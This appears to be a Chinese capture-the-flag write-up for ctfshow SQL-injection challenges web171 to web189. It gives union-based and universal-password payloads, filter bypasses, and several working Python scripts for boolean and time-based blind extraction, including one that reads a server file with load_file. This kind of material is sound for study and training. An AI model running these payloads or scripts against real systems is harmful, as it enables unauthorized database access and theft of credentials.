-
web171
手工:
**?id=1’/**/order/**/by/**/3 --+
?id=-1’/**/union/**/select/**/1,database(),3 --+
id=-1’/**/union/**/select/**/group_concat(id),group_concat(username),group_concat(password)/**/from/**/ctfshow_user --+
CSDN很多格式错误,不晓得怎么改,自己清楚原理就行QAQ开始fuzz以为空格过滤了,结果没有
万能密码也行 0’ or ‘1’=‘1’–+ -
web172
order by两个,其他都和上题一样,可能第一题想考万能密码 -
web173
一样union select,但是正则了flag大小写,不能在输出里面有flag,但是我们知道flag是username列中的值,所以直接不输出username一列,反正flag的值在password列中
-1' union select group_concat(id),group_concat(password),3 from ctfshow_user3--+
- web174
啊,没有任何过滤的盲注是真的乖乖,乱写的脚本效率真的低,里面有些判断password总长度,还有倒序输出password,循环的顺序自己凭感觉修改
import requests,sys
sys.stdout.reconfigure(encoding='utf-8')
url = 'http://8163218e-a22f-418f-ba64-1703fde3df9c.challenge.ctf.show/api/v4.php?id='
name = ''
# payload1 = "1' and if((ascii(substr(database(),%d,1))=%d),1,0)--+"
# payload2 = "1' and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))=%d),1,0)--+" # 获取表
# payload3 = "1' and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_user4'),%d,1))=%d),1,0)--+" # 获取字段
payload4 = "1' and if((ascii(substr((select group_concat(password) from ctfshow_user4),%d,1))=%d),1,0)--+" #内容
# 1' and if(length((select group_concat(password) from ctfshow_user4))=332,1,0)--+
# for i in range(333,0,-1):
reverse_flag = "}025f7ad319fb-0348-6684-6eaa-22346856{wohsftc"
flag = reverse_flag[::-1]
print(flag)
for i in range(333,0,-1):
print('正在获取第 %d 个字符' % i)
for j in range(31, 128):
count = 0
result = requests.get(url + payload4 % (i, j))
if 'username' in result.text:
name += chr(j)
print('数据库名/表名/字段名/数据: %s' % name)
break
count += 1
if count >= (128 - 31):
exit()
- web175
啥都查不出来,单页面要么bool要么sleep,emmmm用1’ and sleep(3)–+ 发现延时了。
1’ and if(length(database())=11,sleep(2),0)–+
本来想写脚本,但是觉得写脚本还没有我二分法来的快。
import requests,sys
import datetime
import time
sys.stdout.reconfigure(encoding='utf-8')
'''
payload :
猜数据库长度:
payload = "?id=1' and if(length(database())>%s,sleep(2),0) --+" %i
猜数据库名字:
payload = "?id=1' and if(substr(database(),%d,1)='%s',sleep(3),1) --+" % (i,j)
猜表名:
payload = "?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))=%d,sleep(3),0) --+" % (k, i, j)
猜列名:
payload = "?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1),%d,1))=%d,sleep(3),0) --+" % (table_name, k, i, j)
爆数据:
payload = "?id=1' and if(ascii(substr((select %s from %s limit %d,1),%d,1))=%d, sleep(2),0)--+" % (column,table,k,i,j)
# 1' and if((select count(column_name) from information_schema.columns where table_name='ctfshow_user5')=3,sleep(2),0)--+ #表有3个字段
# 1' and if((select count(password) from ctfshow_user5)=25,sleep(2),0)--+ #password字段有25个值
'''
url = 'http://817fd859-e3fb-4bd2-8c11-dd76d3479ceb.challenge.ctf.show/api/v5.php'
def database_len():
for i in range(1,15):
payload = "?id=1' and if(length(database())>%s,sleep(2),0) --+" %i
time1 = datetime.datetime.now()
r = requests.get(url+ payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 2:
print(i)
else:
print(i)
break
print('database_len:',i)
return i
def database_name(len):
name = ''
for i in range(1,len+1):
for j in '_-0123456789abcdefghijklmnopqrstuvwxyz':
payload = "?id=1' and if(substr(database(),%d,1)='%s',sleep(3),1) --+" % (i,j)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >=3:
name += j
print(name)
break
print('database_name:',name)
def table_name():
name = ''
for k in range(1):
for i in range(15):
for j in range(32,127):
payload = "?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))=%d,sleep(3),0) --+" % (k, i, j)
#payload = "?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))=%d,sleep(3),0) --+" % (k, i, j)
time1 = datetime.datetime.now()
r = requests.get(url+payload)
time2 = datetime.datetime.now()
sec = (time2-time1).seconds
if sec >= 3:
name += chr(j)
print(chr(j))
break
print("table_name:",name)
name = ''
def colum_name(table_name):
name = ''
for k in range(0,4):
for i in range(15):
for j in range(32, 127):
payload = "?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1),%d,1))=%d,sleep(3),0) --+" % (table_name, k, i, j)
#payload = "?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1),%d,1))=%d,sleep(3),0) --+" % (table_name, k, i, j)
time1 = datetime.datetime.now()
r = requests.get(url+payload)
time2 = datetime.datetime.now()
sec = (time2-time1).seconds
if sec >= 3:
name += chr(j)
print(chr(j))
break
print("column_name:", name)
name = ''
def data(column,table):
name = ''
for k in range(24,25):
for i in range(0,50):
for j in range(32,127):
payload = "?id=1' and if(ascii(substr((select %s from %s limit %d,1),%d,1))=%d, sleep(2),0)--+" % (column,table,k,i,j)
time1 = datetime.datetime.now()
r = requests.get(url+payload)
time2 = datetime.datetime.now()
sec = (time2-time1).seconds
if sec >= 2:
name += chr(j)
print(chr(j))
break
print("data:", name)
name = ''
if __name__ == '__main__':
# len = database_len()
# database_name(len)
# table_name()
# colum_name('ctfshow_user5')
data('password','ctfshow_user5')
dalao写的:https://www.cnblogs.com/qianyuzz。需要调整个人感觉脚本得话还没有bp爆破来的快QAQ,需要一步一步得到:库长度、库名、表个数、表长度、表名、字段个数、字段名、字段里值得个数、最后得到值。上sqlmap吧,累了QAQ。
- web176
开始过滤咯,随便输了一下,就发现select小写不行,Select就行。
-1' union Select group_concat(id),group_concat(username),group_concat(password) from ctfshow_user --+
- web177
不想fuzz于是随便试了一下,emmmm发现#和–+都不行,用%23可以,然后空格也被过滤了,用/**/ %0a %09 %0d都可以绕空格。
1'%0aorder%09by%0d3%23
-1'/**/union/**/Select/**/group_concat(id),group_concat(username),group_concat(password)/**/from/**/ctfshow_user/**/%23
- web178
空格过滤的plus,%0a %09 %0b可以绕,然后–+ --空格 #依然不行,改改就行。加了一点空格的fuzz进我的txt字典。
-1'%0aunion%0aSelect%0agroup_concat(id),group_concat(username),group_concat(password)%0afrom%0actfshow_user%0a%23
- web179
空格的%0c还能用。
也可以用括号绕过
0'union(select(select(group_concat(password))from(ctfshow_user)),1,2)%23
还有个万能密码绕,简单的sql一般万能密码都可以绕
1'or'1'='1'%23
- web180
还是空格,除了%0c可以用
1'or'1'='1'--%0c
模糊匹配
-1'%0cor%0cusername%0clike%0c'flag
- web181
在知道表和字段名称的情况下直接可以用这个,但是还是要全流程来一下
-1'or(username)like'%fla%
-1'or(username)like'%fla%'--%0c
1'or'1'='1'--%0c
- web182
-1'or(username)like'%fla%
1'or'1'--%08
阿这,注释的空格绕过可以这样?!
- web183
首先的了解 `在sql里面的运用。(用来包围标识符,如表名、列名或数据库名,特别是当它们与SQL的关键字重名或者包含特殊字符时。使用反引号可以确保这些标识符被正确解析,而不是被解释为SQL关键字)
用反引号来包裹表名、列名可以不用空格连接。
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}
//返回用户表的记录总数
$user_count = 1;
拼接的是我们参数里面查询内容的数量,什么数量呢,pass的数量,开始没看懂这个pass,想了一下这个是表里面的列名,意思就是看这个列里面的数量有多少,而必须是pass(表里面有才会显示,那么意味着我们是知道这个表的,那只有前面一样的ctfshow_user表),应该用bool注入解决。
测试了一下tableName=ctfshow_user
发现 $user_count = 22;
说明pass有22个数据。
现在的问题是怎么爆数据?用bool怎么爆?之前用的模糊匹配非常适合,我们之前用的模糊匹配是基于万能密码的用flag去匹配username列名,匹配到了返回1,就实现ture的功能。但是我们换到这道题,不是万能密码而是计算我们请求的数量,那就只能一个一个去爆去匹配,如果count返回1,那就bool=ture,于是开始构造。
tableName=`ctfshow_user`where`pass`like'ctf%'
where限定了from后面取得的值,这里只取得了pass列里面ctf开头的那一项数据,count计数为1
$sql = "select count(pass) from `ctfshow_user`where`pass`like'ctf%'";
这里在pass里有一个数据是ctf开头,那就这样继续!一个一个太麻烦,bool老方法用re写脚本。
import requests,sys,time
sys.stdout.reconfigure(encoding='utf-8')
url = 'http://4c0393e6-d7ee-4a42-99c2-8b7d0a6a0e0c.challenge.ctf.show/select-waf.php'
chars = '0123456789-{}qwertyuiopasdfghjklzxcvbnm'
flag = ''
for i in range(0,50):
for char in chars:
post={"tableName":"`ctfshow_user`where`pass`like'ctfshow{}%'".format(flag+char)}
#为了不多加一个双引号,还是将post放进{}里面
respond = requests.post(url, data=post)
respond = respond.text
time.sleep(0.1)
if 'user_count = 1' in respond:
flag += char
print('ok')
print(flag)
break
else:
print('no!')
- web184
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
//返回用户表的记录总数
$user_count = 0;
多过滤了单双引号、where、sleep,但是空格出来了emmmmmm
1.没有了字符串表达方式,就等于去掉了like模糊匹配,但是mysql支持十六进制代替字符串,我们可以0x表示字符串,那么ctf%
就是0x63746625
2.但是where没了,还有having嘛,直接group by 字段 having再选择该字段,就可以平替where 字段。
tableName=ctfshow_user group by pass having pass like 0x63746625
result:可行!思路和上题相仿,只不过要将用来匹配的字符进行hex()
//返回用户表的记录总数
$user_count = 1;
并且还有一点:在Python中,hex(ord(char)) 函数组合用于获取字符 char 的ASCII或Unicode编码的十六进制表示形式。ord(char) 返回给定字符的整数表示(即字符对应的ASCII码或Unicode码点),然后 hex() 函数将这个整数值转换成小写的十六进制字符串,并且通常前缀是 “0x”。
import requests,sys,time
sys.stdout.reconfigure(encoding='utf-8')
url = 'http://8db869d4-9992-43f8-ba4f-3291b7ee3c92.challenge.ctf.show/select-waf.php'
chars = '0123456789{}-qwertyuiopasdfghjklzxcvbnm'
flag1 = ''
flag = ''
for i in range(0,50):
for char in chars:
char1 = hex(ord(char))[2:]
post={"tableName":"ctfshow_user group by pass having pass like 0x63746673686F77{}25".format(flag1+char1)}
#ctfshow%
respond = requests.post(url, data=post)
respond = respond.text
time.sleep(0.1)
if 'user_count = 1' in respond:
flag += char
flag1 += char1
print('ok')
print(flag)
break
else:
print('no!')
- web185
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
//返回用户表的记录总数
$user_count = 0;
把数字给过滤掉了emmmmm就用不上直接的16进制代替字符串
实在没接触过,看了下wp,妈耶用ture和false表示字符串的1和0,而且用concat()连接,或者用位运算符表示数字。c的ascii就是99,用(power((true+true),(true+true+true))+true),(power((true+true),(true+true+true))+true)表示,t的ascii是116,用(true,true,(true+true+true+true+true+true))表示
那么这样我最终要实现ctfshow_user group by pass having pass regexp(ct)
被ctfshow_user group by pass having pass regexp(concat(char(concat((power((true+true),(true+true+true))+true),(power((true+true),(true+true+true))+true))),char(concat(true,true,(true+true+true+true+true+true)))))
替换
import requests,sys,time
sys.stdout.reconfigure(encoding='utf-8')
url = 'http://8d0f5a7c-cd6e-43fc-bb58-df3dda40dc8c.challenge.ctf.show/select-waf.php'
strlist = '{0123456789-abcdefghijklmnopqrstuvwxyz}'
#第一个去匹配{
flag = ''
flag1 = ''
strdict = {
'0':'false,',
'1':'true,',
'2':'(true+true),',
'3':'(true+true+true),',
'4':'(true+true+true+true),',
'5':'(true+true+true+true+true),',
'6':'(true+true+true+true+true+true),',
'7':'(power((true+true),(true+true+true))-true),',
'8':'(power((true+true),(true+true+true))),',
'9':'(power((true+true),(true+true+true))+true),'
}
#power((true+true),(true+true+true))=2的3次幂,怎么转换成数字呢?
# regexp(
# concat(
# char(
# concat((power((true+true),(true+true+true))+true),(power((true+true),(true+true+true))+true))
# ),
# char(
# concat(true,true,(true+true+true+true+true+true))
# )
# )
# )
# 上面是ct,ture替换后面要加逗号,因为concat要拼接
for j in range(333):
for i in strlist:
m = ''
#对其十进制进行拆分转换,这样可以降低一点时间复杂度
for x in str(ord(i)):
#str转换方便循环,例如d是100,那就x先1再0最后0去匹配字典
m += strdict[x]
# print(m)
#将字符转化成替换的ture
m = 'char(concat('+m[:-1]+')),'
# print(m)
# m后面有逗号是concat以逗号为拼接
data = {
'tableName': "ctfshow_user group by pass having pass regexp(concat({}))".format(flag1+m[:-1])
}
respond = requests.post(url, data=data)
respond = respond.text
time.sleep(0.1)
if 'user_count = 1' in respond:
flag += i
flag1 += m
print('匹配到'+i+'!')
print('ctfshow'+flag)
break
else:
print(i+' no!')
谢谢大佬呜呜呜,写死我了https://www.cnblogs.com/IFS-/p/17350543.html
- web186
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
//返回用户表的记录总数
$user_count = 0;
多了位运算符<>的过滤,上题的脚本应该还可以跑出来。确实如此。
那么上题用位运算符怎么解呢?
web185使用concat的char作为字符串的(true构成)数字,让mysql去regexp。
'0':'false,',
'1':'true,',
'2':'(true+true),',
'3':'(true+true+true),',
'4':'(true+true+true+true),',
'5':'(true+true+true+true+true),',
'6':'(true+true+true+true+true+true),',
'7':'(power((true+true),(true+true+true))-true),',
'8':'(power((true+true),(true+true+true))),',
'9':'(power((true+true),(true+true+true))+true),'
还可以使用位运算符去代表二进制的
0=false,
1=true(1)
2=true<<ture(10)
3=(true<<ture)+true(11)
4=(true<<true+true)(100)
5=(true<<true+true)+true(101)
6=(true<<true+true)+true+true(110)
7=(true+true<<true+true)-true(111)
8=(true+true<<true+true)
9=(true+true<<true+true)+true
再注意一下concat的逗号拼接好是一样的效果。
-
web187
-
web188
感觉在做PHP!
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";
//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}
username和password都是做的弱比较,这就很敏感了。
1、username进行比较的时候,没有把我们传入的参数加上引号,导致可以传入数字型,当数据库的username首位是字母的话,就会转换成整数型,且为false=0。那么我们输入username为0的时候,0=0
2、pass同理。
- web189
我真的哭死,以前被坑过两次,做这题的时候还专门想起过,还是被url的问题疯狂踩踏。要加上index.php啊,不然很多网页后端访问是错的。……/api/index.php
先放代码,困死了,睡觉保命
import requests,sys,time
sys.stdout.reconfigure(encoding='utf-8')
url = 'http://2a963ad8-622f-4fc3-97da-a489d18a57d9.challenge.ctf.show/api/index.php'
chars = '0123456789-{}qwertyuiopasdfghjklzxcvbnm'
flag = 'ctfshow{'
for i in range(111):
for char in chars:
post={
"username":'if((load_file("/var/www/html/api/index.php")regexp("{}")),0,1)'.format(flag+char),
"password":0
}
respond = requests.post(url, data=post)
respond = respond.text
time.sleep(0.1)
if "u8bef" in respond:
flag += char
print('ok')
print(flag)
break
else:
print('no')
if flag[-1]=='}':
print("flag: "+flag)
break
-
web190